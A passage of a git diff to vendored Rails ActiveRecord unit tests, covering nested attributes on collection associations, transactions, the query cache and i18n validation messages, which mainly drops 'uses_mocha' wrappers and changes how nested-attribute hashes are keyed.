@pirate.send(association_setter, @alternate_params[association_getter].values) + @pirate.save + assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name] + end + def test_should_also_work_with_a_HashWithIndifferentAccess - @pirate.send(association_setter, HashWithIndifferentAccess.new(@child_1.id => HashWithIndifferentAccess.new(:name => 'Grace OMalley'))) + @pirate.send(association_setter, HashWithIndifferentAccess.new('foo' => HashWithIndifferentAccess.new(:id => @child_1.id, :name => 'Grace OMalley'))) @pirate.save assert_equal 'Grace OMalley', @child_1.reload.name end - def test_should_take_a_hash_with_integer_keys_and_assign_the_attributes_to_the_associated_models + def test_should_take_a_hash_and_assign_the_attributes_to_the_associated_models @pirate.attributes = @alternate_params assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name end - def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_starts_with_the_string_new_ + def test_should_take_a_hash_with_composite_id_keys_and_assign_the_attributes_to_the_associated_models + @child_1.stubs(:id).returns('ABC1X') + @child_2.stubs(:id).returns('ABC2X') + + @pirate.attributes = { + association_getter => [ + { :id => @child_1.id, :name => 'Grace OMalley' }, + { :id => @child_2.id, :name => 'Privateers Greed' } + ] + } + + assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.name, @child_2.name] + end + + def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing @pirate.send(@association_name).destroy_all - @pirate.reload.attributes = { association_getter => { 'new_1' => { :name => 'Grace OMalley' }, 'new_2' => { :name => 'Privateers Greed' }}} + @pirate.reload.attributes = { + association_getter => { 'foo' => { :name => 'Grace OMalley' }, 'bar' => { :name => 'Privateers Greed' }} + } assert @pirate.send(@association_name).first.new_record? assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name @@ -233,10 +361,36 @@ module NestedAttributesOnACollectionAssociationTests assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name end + def test_should_not_assign_delete_key_to_a_record + assert_nothing_raised ActiveRecord::UnknownAttributeError do + @pirate.send(association_setter, { 'foo' => { '_delete' => '0' }}) + end + end + + def test_should_ignore_new_associated_records_with_truthy_delete_attribute + @pirate.send(@association_name).destroy_all + @pirate.reload.attributes = { + association_getter => { + 'foo' => { :name => 'Grace OMalley' }, + 'bar' => { :name => 'Privateers Greed', '_delete' => '1' } + } + } + + assert_equal 1, @pirate.send(@association_name).length + assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name + end + + def test_should_ignore_new_associated_records_if_a_reject_if_proc_returns_false + @alternate_params[association_getter]['baz'] = {} + assert_no_difference("@pirate.send(@association_name).length") do + @pirate.attributes = @alternate_params + end + end + def test_should_sort_the_hash_by_the_keys_before_building_new_associated_models attributes = ActiveSupport::OrderedHash.new - attributes['new_123726353'] = { :name => 'Grace OMalley' } - attributes['new_2'] = { :name => 'Privateers Greed' } # 2 is lower then 123726353 + attributes['123726353'] = { :name => 'Grace OMalley' } + attributes['2'] = { :name => 'Privateers Greed' } # 2 is lower then 123726353 @pirate.send(association_setter, attributes) assert_equal ['Posideons Killer', 'Killer bandita Dionne', 'Privateers Greed', 'Grace OMalley'].to_set, @pirate.send(@association_name).map(&:name).to_set @@ -246,28 +400,20 @@ module NestedAttributesOnACollectionAssociationTests assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) } assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, ActiveSupport::OrderedHash.new) } - assert_raise_with_message ArgumentError, 'Hash expected, got String ("foo")' do + assert_raise_with_message ArgumentError, 'Hash or Array expected, got String ("foo")' do @pirate.send(association_setter, "foo") end - assert_raise_with_message ArgumentError, 'Hash expected, got Array ([:foo, :bar])' do - @pirate.send(association_setter, [:foo, :bar]) - end end def test_should_work_with_update_attributes_as_well - @pirate.update_attributes({ :catchphrase => 'Arr', association_getter => { @child_1.id => { :name => 'Grace OMalley' }}}) + @pirate.update_attributes(:catchphrase => 'Arr', + association_getter => { 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' }}) + assert_equal 'Grace OMalley', @child_1.reload.name end - def test_should_automatically_reject_any_new_record_if_a_reject_if_proc_exists_and_returns_false - @alternate_params[association_getter]["new_12345"] = {} - assert_no_difference("@pirate.send(@association_name).length") do - @pirate.attributes = @alternate_params - end - end - - def test_should_update_existing_records_and_add_new_ones_that_have_an_id_that_start_with_the_string_new_ - @alternate_params[association_getter]['new_12345'] = { :name => 'Buccaneers Servant' } + def test_should_update_existing_records_and_add_new_ones_that_have_no_id + @alternate_params[association_getter]['baz'] = { :name => 'Buccaneers Servant' } assert_difference('@pirate.send(@association_name).count', +1) do @pirate.update_attributes @alternate_params end @@ -278,7 +424,7 @@ module NestedAttributesOnACollectionAssociationTests ['1', 1, 'true', true].each do |true_variable| record = @pirate.reload.send(@association_name).create!(:name => 'Grace OMalley') @pirate.send(association_setter, - @alternate_params[association_getter].merge(record.id => { '_delete' => true_variable }) + @alternate_params[association_getter].merge('baz' => { :id => record.id, '_delete' => true_variable }) ) assert_difference('@pirate.send(@association_name).count', -1) do @@ -289,7 +435,7 @@ module NestedAttributesOnACollectionAssociationTests def test_should_not_destroy_the_associated_model_with_a_non_truthy_argument [nil, '', '0', 0, 'false', false].each do |false_variable| - @alternate_params[association_getter][@child_1.id]['_delete'] = false_variable + @alternate_params[association_getter]['foo']['_delete'] = false_variable assert_no_difference('@pirate.send(@association_name).count') do @pirate.update_attributes(@alternate_params) end @@ -298,7 +444,7 @@ module NestedAttributesOnACollectionAssociationTests def test_should_not_destroy_the_associated_model_until_the_parent_is_saved assert_no_difference('@pirate.send(@association_name).count') do - @pirate.send(association_setter, @alternate_params[association_getter].merge(@child_1.id => { '_delete' => true })) + @pirate.send(association_setter, @alternate_params[association_getter].merge('baz' => { :id => @child_1.id, '_delete' => true })) end assert_difference('@pirate.send(@association_name).count', -1) { @pirate.save } end @@ -324,13 +470,15 @@ class TestNestedAttributesOnAHasManyAssociation < ActiveRecord::TestCase @association_name = :birds @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?") - @child_1 = @pirate.birds.create!(:name => 'Posideons Killer') - @child_2 = @pirate.birds.create!(:name => 'Killer bandita Dionne') + @pirate.birds.create!(:name => 'Posideons Killer') + @pirate.birds.create!(:name => 'Killer bandita Dionne') + + @child_1, @child_2 = @pirate.birds @alternate_params = { :birds_attributes => { - @child_1.id => { :name => 'Grace OMalley' }, - @child_2.id => { :name => 'Privateers Greed' } + 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' }, + 'bar' => { :id => @child_2.id, :name => 'Privateers Greed' } } } end @@ -344,16 +492,18 @@ class TestNestedAttributesOnAHasAndBelongsToManyAssociation < ActiveRecord::Test @association_name = :parrots @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?") - @child_1 = @pirate.parrots.create!(:name => 'Posideons Killer') - @child_2 = @pirate.parrots.create!(:name => 'Killer bandita Dionne') + @pirate.parrots.create!(:name => 'Posideons Killer') + @pirate.parrots.create!(:name => 'Killer bandita Dionne') + + @child_1, @child_2 = @pirate.parrots @alternate_params = { :parrots_attributes => { - @child_1.id => { :name => 'Grace OMalley' }, - @child_2.id => { :name => 'Privateers Greed' } + 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' }, + 'bar' => { :id => @child_2.id, :name => 'Privateers Greed' } } } end include NestedAttributesOnACollectionAssociationTests -end \ No newline at end of file +end diff --git a/vendor/rails/activerecord/test/cases/query_cache_test.rb b/vendor/rails/activerecord/test/cases/query_cache_test.rb index 171d0e6d..f90a66d1 100644 --- a/vendor/rails/activerecord/test/cases/query_cache_test.rb +++ b/vendor/rails/activerecord/test/cases/query_cache_test.rb @@ -55,8 +55,6 @@ class QueryCacheTest < ActiveRecord::TestCase end end -uses_mocha 'QueryCacheExpiryTest' do - class QueryCacheExpiryTest < ActiveRecord::TestCase fixtures :tasks, :posts, :categories, :categories_posts @@ -123,5 +121,3 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase end end end - -end diff --git a/vendor/rails/activerecord/test/cases/transactions_test.rb b/vendor/rails/activerecord/test/cases/transactions_test.rb index 4a07a8bb..40abd935 100644 --- a/vendor/rails/activerecord/test/cases/transactions_test.rb +++ b/vendor/rails/activerecord/test/cases/transactions_test.rb @@ -306,17 +306,15 @@ class TransactionTest < ActiveRecord::TestCase assert_equal "Three", @three end if Topic.connection.supports_savepoints? - uses_mocha 'mocking connection.commit_db_transaction' do - def test_rollback_when_commit_raises - Topic.connection.expects(:begin_db_transaction) - Topic.connection.expects(:commit_db_transaction).raises('OH NOES') - Topic.connection.expects(:outside_transaction?).returns(false) - Topic.connection.expects(:rollback_db_transaction) + def test_rollback_when_commit_raises + Topic.connection.expects(:begin_db_transaction) + Topic.connection.expects(:commit_db_transaction).raises('OH NOES') + Topic.connection.expects(:outside_transaction?).returns(false) + Topic.connection.expects(:rollback_db_transaction) - assert_raise RuntimeError do - Topic.transaction do - # do nothing - end + assert_raise RuntimeError do + Topic.transaction do + # do nothing end end end @@ -330,14 +328,12 @@ class TransactionTest < ActiveRecord::TestCase assert Topic.connection.outside_transaction? end - uses_mocha 'mocking connection.rollback_db_transaction' do - def test_rollback_wont_be_executed_if_no_transaction_active - assert_raise RuntimeError do - Topic.transaction do - Topic.connection.rollback_db_transaction - Topic.connection.expects(:rollback_db_transaction).never - raise "Rails doesn't scale!" - end + def test_rollback_wont_be_executed_if_no_transaction_active + assert_raise RuntimeError do + Topic.transaction do + Topic.connection.rollback_db_transaction + Topic.connection.expects(:rollback_db_transaction).never + raise "Rails doesn't scale!" end end end diff --git a/vendor/rails/activerecord/test/cases/validations_i18n_test.rb b/vendor/rails/activerecord/test/cases/validations_i18n_test.rb index e893a704..66982346 100644 --- a/vendor/rails/activerecord/test/cases/validations_i18n_test.rb +++ b/vendor/rails/activerecord/test/cases/validations_i18n_test.rb @@ -71,359 +71,353 @@ class ActiveRecordValidationsI18nTests < ActiveSupport::TestCase end # ActiveRecord::Errors - uses_mocha 'ActiveRecord::Errors' do + def test_errors_generate_message_translates_custom_model_attribute_key - def test_errors_generate_message_translates_custom_model_attribute_key + I18n.expects(:translate).with( + :topic, + { :count => 1, + :default => ['Topic'], + :scope => [:activerecord, :models] + } + ).returns('Topic') - I18n.expects(:translate).with( - :topic, - { :count => 1, - :default => ['Topic'], - :scope => [:activerecord, :models] - } - ).returns('Topic') + I18n.expects(:translate).with( + :"topic.title", + { :count => 1, + :default => ['Title'], + :scope => [:activerecord, :attributes] + } + ).returns('Title') - I18n.expects(:translate).with( - :"topic.title", - { :count => 1, - :default => ['Title'], - :scope => [:activerecord, :attributes] - } - ).returns('Title') + I18n.expects(:translate).with( + :"models.topic.attributes.title.invalid", + :value => nil, + :scope => [:activerecord, :errors], + :default => [ + :"models.topic.invalid", + 'default from class def error 1', + :"messages.invalid"], + :attribute => "Title", + :model => "Topic" + ).returns('default from class def error 1') - I18n.expects(:translate).with( + @topic.errors.generate_message :title, :invalid, :default => 'default from class def error 1' + end + + def test_errors_generate_message_translates_custom_model_attribute_keys_with_sti + + I18n.expects(:translate).with( + :reply, + { :count => 1, + :default => [:topic, 'Reply'], + :scope => [:activerecord, :models] + } + ).returns('Reply') + + I18n.expects(:translate).with( + :"reply.title", + { :count => 1, + :default => [:'topic.title', 'Title'], + :scope => [:activerecord, :attributes] + } + ).returns('Title') + + I18n.expects(:translate).with( + :"models.reply.attributes.title.invalid", + :value => nil, + :scope => [:activerecord, :errors], + :default => [ + :"models.reply.invalid", :"models.topic.attributes.title.invalid", - :value => nil, - :scope => [:activerecord, :errors], - :default => [ - :"models.topic.invalid", - 'default from class def error 1', - :"messages.invalid"], - :attribute => "Title", - :model => "Topic" - ).returns('default from class def error 1') + :"models.topic.invalid", + 'default from class def', + :"messages.invalid"], + :model => 'Reply', + :attribute => 'Title' + ).returns("default from class def") - @topic.errors.generate_message :title, :invalid, :default => 'default from class def error 1' - end + Reply.new.errors.generate_message :title, :invalid, :default => 'default from class def' - def test_errors_generate_message_translates_custom_model_attribute_keys_with_sti + end - I18n.expects(:translate).with( - :reply, - { :count => 1, - :default => [:topic, 'Reply'], - :scope => [:activerecord, :models] - } - ).returns('Reply') + def test_errors_add_on_empty_generates_message + @topic.errors.expects(:generate_message).with(:title, :empty, {:default => nil}) + @topic.errors.add_on_empty :title + end - I18n.expects(:translate).with( - :"reply.title", - { :count => 1, - :default => [:'topic.title', 'Title'], - :scope => [:activerecord, :attributes] - } - ).returns('Title') + def test_errors_add_on_empty_generates_message_with_custom_default_message + @topic.errors.expects(:generate_message).with(:title, :empty, {:default => 'custom'}) + @topic.errors.add_on_empty :title, 'custom' + end - I18n.expects(:translate).with( - :"models.reply.attributes.title.invalid", - :value => nil, - :scope => [:activerecord, :errors], - :default => [ - :"models.reply.invalid", - :"models.topic.attributes.title.invalid", - :"models.topic.invalid", - 'default from class def', - :"messages.invalid"], - :model => 'Reply', - :attribute => 'Title' - ).returns("default from class def") + def test_errors_add_on_blank_generates_message + @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil}) + @topic.errors.add_on_blank :title + end - Reply.new.errors.generate_message :title, :invalid, :default => 'default from class def' + def test_errors_add_on_blank_generates_message_with_custom_default_message + @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'}) + @topic.errors.add_on_blank :title, 'custom' + end - end - - def test_errors_add_on_empty_generates_message - @topic.errors.expects(:generate_message).with(:title, :empty, {:default => nil}) - @topic.errors.add_on_empty :title - end - - def test_errors_add_on_empty_generates_message_with_custom_default_message - @topic.errors.expects(:generate_message).with(:title, :empty, {:default => 'custom'}) - @topic.errors.add_on_empty :title, 'custom' - end - - def test_errors_add_on_blank_generates_message - @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil}) - @topic.errors.add_on_blank :title - end - - def test_errors_add_on_blank_generates_message_with_custom_default_message - @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'}) - @topic.errors.add_on_blank :title, 'custom' - end - - def test_errors_full_messages_translates_human_attribute_name_for_model_attributes - @topic.errors.instance_variable_set :@errors, { 'title' => ['empty'] } - I18n.expects(:translate).with(:"topic.title", :default => ['Title'], :scope => [:activerecord, :attributes], :count => 1).returns('Title') - @topic.errors.full_messages :locale => 'en' - end + def test_errors_full_messages_translates_human_attribute_name_for_model_attributes + @topic.errors.instance_variable_set :@errors, { 'title' => ['empty'] } + I18n.expects(:translate).with(:"topic.title", :default => ['Title'], :scope => [:activerecord, :attributes], :count => 1).returns('Title') + @topic.errors.full_messages :locale => 'en' end # ActiveRecord::Validations - uses_mocha 'ActiveRecord::Validations' do - # validates_confirmation_of w/ mocha + # validates_confirmation_of w/ mocha + def test_validates_confirmation_of_generates_message + Topic.validates_confirmation_of :title + @topic.title_confirmation = 'foo' + @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => nil}) + @topic.valid? + end - def test_validates_confirmation_of_generates_message - Topic.validates_confirmation_of :title - @topic.title_confirmation = 'foo' - @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => nil}) - @topic.valid? - end + def test_validates_confirmation_of_generates_message_with_custom_default_message + Topic.validates_confirmation_of :title, :message => 'custom' + @topic.title_confirmation = 'foo' + @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => 'custom'}) + @topic.valid? + end - def test_validates_confirmation_of_generates_message_with_custom_default_message - Topic.validates_confirmation_of :title, :message => 'custom' - @topic.title_confirmation = 'foo' - @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => 'custom'}) - @topic.valid? - end + # validates_acceptance_of w/ mocha - # validates_acceptance_of w/ mocha + def test_validates_acceptance_of_generates_message + Topic.validates_acceptance_of :title, :allow_nil => false + @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => nil}) + @topic.valid? + end - def test_validates_acceptance_of_generates_message - Topic.validates_acceptance_of :title, :allow_nil => false - @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => nil}) - @topic.valid? - end + def test_validates_acceptance_of_generates_message_with_custom_default_message + Topic.validates_acceptance_of :title, :message => 'custom', :allow_nil => false + @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => 'custom'}) + @topic.valid? + end - def test_validates_acceptance_of_generates_message_with_custom_default_message - Topic.validates_acceptance_of :title, :message => 'custom', :allow_nil => false - @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => 'custom'}) - @topic.valid? - end + # validates_presence_of w/ mocha - # validates_presence_of w/ mocha + def test_validates_presence_of_generates_message + Topic.validates_presence_of :title + @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil}) + @topic.valid? + end - def test_validates_presence_of_generates_message - Topic.validates_presence_of :title - @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil}) - @topic.valid? - end + def test_validates_presence_of_generates_message_with_custom_default_message + Topic.validates_presence_of :title, :message => 'custom' + @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'}) + @topic.valid? + end - def test_validates_presence_of_generates_message_with_custom_default_message - Topic.validates_presence_of :title, :message => 'custom' - @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'}) - @topic.valid? - end + def test_validates_length_of_within_generates_message_with_title_too_short + Topic.validates_length_of :title, :within => 3..5 + @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil}) + @topic.valid? + end - def test_validates_length_of_within_generates_message_with_title_too_short - Topic.validates_length_of :title, :within => 3..5 - @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil}) - @topic.valid? - end + def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message + Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom' + @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'}) + @topic.valid? + end - def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message - Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom' - @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'}) - @topic.valid? - end + def test_validates_length_of_within_generates_message_with_title_too_long + Topic.validates_length_of :title, :within => 3..5 + @topic.title = 'this title is too long' + @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil}) + @topic.valid? + end - def test_validates_length_of_within_generates_message_with_title_too_long - Topic.validates_length_of :title, :within => 3..5 - @topic.title = 'this title is too long' - @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil}) - @topic.valid? - end + def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message + Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom' + @topic.title = 'this title is too long' + @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'}) + @topic.valid? + end - def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message - Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom' - @topic.title = 'this title is too long' - @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'}) - @topic.valid? - end + # validates_length_of :within w/ mocha - # validates_length_of :within w/ mocha + def test_validates_length_of_within_generates_message_with_title_too_short + Topic.validates_length_of :title, :within => 3..5 + @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil}) + @topic.valid? + end - def test_validates_length_of_within_generates_message_with_title_too_short - Topic.validates_length_of :title, :within => 3..5 - @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil}) - @topic.valid? - end + def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message + Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom' + @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'}) + @topic.valid? + end - def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message - Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom' - @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'}) - @topic.valid? - end + def test_validates_length_of_within_generates_message_with_title_too_long + Topic.validates_length_of :title, :within => 3..5 + @topic.title = 'this title is too long' + @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil}) + @topic.valid? + end - def test_validates_length_of_within_generates_message_with_title_too_long - Topic.validates_length_of :title, :within => 3..5 - @topic.title = 'this title is too long' - @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil}) - @topic.valid? - end + def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message + Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom' + @topic.title = 'this title is too long' + @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'}) + @topic.valid? + end - def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message - Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom' - @topic.title = 'this title is too long' - @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'}) - @topic.valid? - end + # validates_length_of :is w/ mocha - # validates_length_of :is w/ mocha + def test_validates_length_of_is_generates_message + Topic.validates_length_of :title, :is => 5 + @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => nil}) + @topic.valid? + end - def test_validates_length_of_is_generates_message - Topic.validates_length_of :title, :is => 5 - @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => nil}) - @topic.valid? - end + def test_validates_length_of_is_generates_message_with_custom_default_message + Topic.validates_length_of :title, :is => 5, :message => 'custom' + @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => 'custom'}) + @topic.valid? + end - def test_validates_length_of_is_generates_message_with_custom_default_message - Topic.validates_length_of :title, :is => 5, :message => 'custom' - @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => 'custom'}) - @topic.valid? - end + # validates_uniqueness_of w/ mocha - # validates_uniqueness_of w/ mocha + def test_validates_uniqueness_of_generates_message + Topic.validates_uniqueness_of :title + @topic.title = unique_topic.title + @topic.errors.expects(:generate_message).with(:title, :taken, {:default => nil, :value => 'unique!'}) + @topic.valid? + end - def test_validates_uniqueness_of_generates_message - Topic.validates_uniqueness_of :title - @topic.title = unique_topic.title - @topic.errors.expects(:generate_message).with(:title, :taken, {:default => nil, :value => 'unique!'}) - @topic.valid? - end + def test_validates_uniqueness_of_generates_message_with_custom_default_message + Topic.validates_uniqueness_of :title, :message => 'custom' + @topic.title = unique_topic.title + @topic.errors.expects(:generate_message).with(:title, :taken, {:default => 'custom', :value => 'unique!'}) + @topic.valid? + end - def test_validates_uniqueness_of_generates_message_with_custom_default_message - Topic.validates_uniqueness_of :title, :message => 'custom' - @topic.title = unique_topic.title - @topic.errors.expects(:generate_message).with(:title, :taken, {:default => 'custom', :value => 'unique!'}) - @topic.valid? - end + # validates_format_of w/ mocha - # validates_format_of w/ mocha + def test_validates_format_of_generates_message + Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/ + @topic.title = '72x' + @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => nil}) + @topic.valid? + end - def test_validates_format_of_generates_message - Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/ - @topic.title = '72x' - @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => nil}) - @topic.valid? - end + def test_validates_format_of_generates_message_with_custom_default_message + Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/, :message => 'custom' + @topic.title = '72x' + @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => 'custom'}) + @topic.valid? + end - def test_validates_format_of_generates_message_with_custom_default_message - Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/, :message => 'custom' - @topic.title = '72x' - @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => 'custom'}) - @topic.valid? - end + # validates_inclusion_of w/ mocha - # validates_inclusion_of w/ mocha + def test_validates_inclusion_of_generates_message + Topic.validates_inclusion_of :title, :in => %w(a b c) + @topic.title = 'z' + @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => nil}) + @topic.valid? + end - def test_validates_inclusion_of_generates_message - Topic.validates_inclusion_of :title, :in => %w(a b c) - @topic.title = 'z' - @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => nil}) - @topic.valid? - end + def test_validates_inclusion_of_generates_message_with_custom_default_message + Topic.validates_inclusion_of :title, :in => %w(a b c), :message => 'custom' + @topic.title = 'z' + @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => 'custom'}) + @topic.valid? + end - def test_validates_inclusion_of_generates_message_with_custom_default_message - Topic.validates_inclusion_of :title, :in => %w(a b c), :message => 'custom' - @topic.title = 'z' - @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => 'custom'}) - @topic.valid? - end + # validates_exclusion_of w/ mocha - # validates_exclusion_of w/ mocha + def test_validates_exclusion_of_generates_message + Topic.validates_exclusion_of :title, :in => %w(a b c) + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => nil}) + @topic.valid? + end - def test_validates_exclusion_of_generates_message - Topic.validates_exclusion_of :title, :in => %w(a b c) - @topic.title = 'a' - @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => nil}) - @topic.valid? - end + def test_validates_exclusion_of_generates_message_with_custom_default_message + Topic.validates_exclusion_of :title, :in => %w(a b c), :message => 'custom' + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => 'custom'}) + @topic.valid? + end - def test_validates_exclusion_of_generates_message_with_custom_default_message - Topic.validates_exclusion_of :title, :in => %w(a b c), :message => 'custom' - @topic.title = 'a' - @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => 'custom'}) - @topic.valid? - end + # validates_numericality_of without :only_integer w/ mocha - # validates_numericality_of without :only_integer w/ mocha + def test_validates_numericality_of_generates_message + Topic.validates_numericality_of :title + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil}) + @topic.valid? + end - def test_validates_numericality_of_generates_message - Topic.validates_numericality_of :title - @topic.title = 'a' - @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil}) - @topic.valid? - end + def test_validates_numericality_of_generates_message_with_custom_default_message + Topic.validates_numericality_of :title, :message => 'custom' + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'}) + @topic.valid? + end - def test_validates_numericality_of_generates_message_with_custom_default_message - Topic.validates_numericality_of :title, :message => 'custom' - @topic.title = 'a' - @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'}) - @topic.valid? - end + # validates_numericality_of with :only_integer w/ mocha - # validates_numericality_of with :only_integer w/ mocha + def test_validates_numericality_of_only_integer_generates_message + Topic.validates_numericality_of :title, :only_integer => true + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil}) + @topic.valid? + end - def test_validates_numericality_of_only_integer_generates_message - Topic.validates_numericality_of :title, :only_integer => true - @topic.title = 'a' - @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil}) - @topic.valid? - end + def test_validates_numericality_of_only_integer_generates_message_with_custom_default_message + Topic.validates_numericality_of :title, :only_integer => true, :message => 'custom' + @topic.title = 'a' + @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'}) + @topic.valid? + end - def test_validates_numericality_of_only_integer_generates_message_with_custom_default_message - Topic.validates_numericality_of :title, :only_integer => true, :message => 'custom' - @topic.title = 'a' - @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'}) - @topic.valid? - end + # validates_numericality_of :odd w/ mocha - # validates_numericality_of :odd w/ mocha + def test_validates_numericality_of_odd_generates_message + Topic.validates_numericality_of :title, :only_integer => true, :odd => true + @topic.title = 0 + @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => nil}) + @topic.valid? + end - def test_validates_numericality_of_odd_generates_message - Topic.validates_numericality_of :title, :only_integer => true, :odd => true - @topic.title = 0 - @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => nil}) - @topic.valid? - end + def test_validates_numericality_of_odd_generates_message_with_custom_default_message + Topic.validates_numericality_of :title, :only_integer => true, :odd => true, :message => 'custom' + @topic.title = 0 + @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => 'custom'}) + @topic.valid? + end - def test_validates_numericality_of_odd_generates_message_with_custom_default_message - Topic.validates_numericality_of :title, :only_integer => true, :odd => true, :message => 'custom' - @topic.title = 0 - @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => 'custom'}) - @topic.valid? - end + # validates_numericality_of :less_than w/ mocha - # validates_numericality_of :less_than w/ mocha + def test_validates_numericality_of_less_than_generates_message + Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0 + @topic.title = 1 + @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => nil}) + @topic.valid? + end - def test_validates_numericality_of_less_than_generates_message - Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0 - @topic.title = 1 - @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => nil}) - @topic.valid? - end + def test_validates_numericality_of_odd_generates_message_with_custom_default_message + Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0, :message => 'custom' + @topic.title = 1 + @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => 'custom'}) + @topic.valid? + end - def test_validates_numericality_of_odd_generates_message_with_custom_default_message - Topic.validates_numericality_of :title, :only_integer => true, :less_than => 